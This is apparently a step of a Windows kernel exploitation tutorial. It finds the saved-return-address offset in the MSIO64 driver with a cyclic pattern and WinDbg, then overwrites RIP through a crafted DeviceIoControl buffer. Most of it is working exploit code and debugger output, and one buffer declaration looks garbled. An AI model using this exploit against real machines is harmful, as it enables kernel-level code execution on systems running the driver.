Controlling RIP

In order to find the saved return address offset in a driver for exploitation, we follow a similar approach as with user mode stack-based overflows by submitting a pattern and observing the overwrite.

Finding the Saved Return Address Offset

Finding the saved return address offset is very similar to a user mode stack-based overflow. We submit a pattern to the driver and we examine rsp when the ret instruction is about to be executed in the vulnerable function.

How you decide to create a pattern is left up to you, I will use a slightly modified version of the script at https://github.com/ickerwx/pattern

This script will not run using python 3; to fix it you must fix the print statements, ensuring they use () brackets and references to long must be changed to int.

Run the tool to create a pattern of 250 characters:

python.exe '.\python tools\pattern.py' create 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A

Next we need to replace the fuzzer code in the else statement. This will send our pattern to the driver:

// the IOCTL code
unsigned int ioCode = 0x80102040;

// the pattern buffer
const char buffer[251] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A";

// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, 250, NULL, 0, &bytesRet, NULL);

Rebuild the executable and transfer it to the target host. Ensure your debugger is connect to the host and the target driver is running.

Break in to the system and examine the return address in the vulnerable function (we know this address from the fuzzing section):

0: kd> u MSIO64+16b5
MSIO64+0x16b5:
fffff80c`50c516b5 4883c478        add     rsp,78h
fffff80c`50c516b9 c3              ret

Set a breakpoint at this address and submit the g command in Windbg Preview:

0: kd> bp MSIO64+16b5
0: kd> g

On the target host it is time to run the exploit executable. This will break the kernel at the specified breakpoint. Allow Windbg Preview to run past the first break on the breakpoint with the g command, when we hit it the second time we can look at the stack:

Breakpoint 0 hit
MSIO64+0x16b5:
fffff80c`50c516b5 4883c478        add     rsp,78h

We need to step the add rsp, 78h instruction, then we are presented with the ret instruction:

0: kd> p
MSIO64+0x16b9:
fffff80c`50c516b9 c3              ret

Examine the value pointed to by rsp; this is the return address that we have overwritten; we can use the da command to show that our pattern is pointed to by rsp:

0: kd> da rsp L4
ffffda01`33919818  "Ac4A"

We can submit the first 4 characters to the pattern tool, on our debugger, to find the correct offset of the overwrite:

python.exe '.\python tools\pattern.py' offset Ac4A 250
72

It is time to test the overwrite of rip, if this is successful then we most likely have control of the instruction pointer, and code execution.

Controlling RIP

In order to get arbitrary code execution in the context of the kernel, we need to control rip. Change the code in our exploit to match the following (again this is in the else block):

// the IOCTL code
unsigned int ioCode = 0x80102040;
// the overflow offset
const size_t  offset = 72;
// the length of the buffer
const size_t len = 150;

// the buffer
char buffer[len50];
memset(buffer, 0x41, len);

char rip[8] = { 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42 };
memcpy(buffer + offset, rip, 8);

// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL);

Compile the exploit code.

Copy the executable over to the target host, ensure the debugger is connected and ensure the target driver is running. This time we will not use a breakpoint and allow the Access Violation.

When the debugger breaks, we can examine the address pointed to by rsp:

1: kd> dq rsp L1
ffffb081`357a3818  42424242`42424242

We can also confirm this by viewing the call stack with the k command:

1: kd> k L4
 # Child-SP          RetAddr               Call Site
00 ffffb081`357a3818 42424242`42424242     MSIO64+0x16b9
01 ffffb081`357a3820 41414141`41414141     0x42424242`42424242
02 ffffb081`357a3828 41414141`41414141     0x41414141`41414141
03 ffffb081`357a3830 41414141`41414141     0x41414141`41414141
04 ffffb081`357a3838 41414141`41414141     0x41414141`41414141

Excellent, we now have control over the saved return address, and subsequently rip.

Demo

Last updated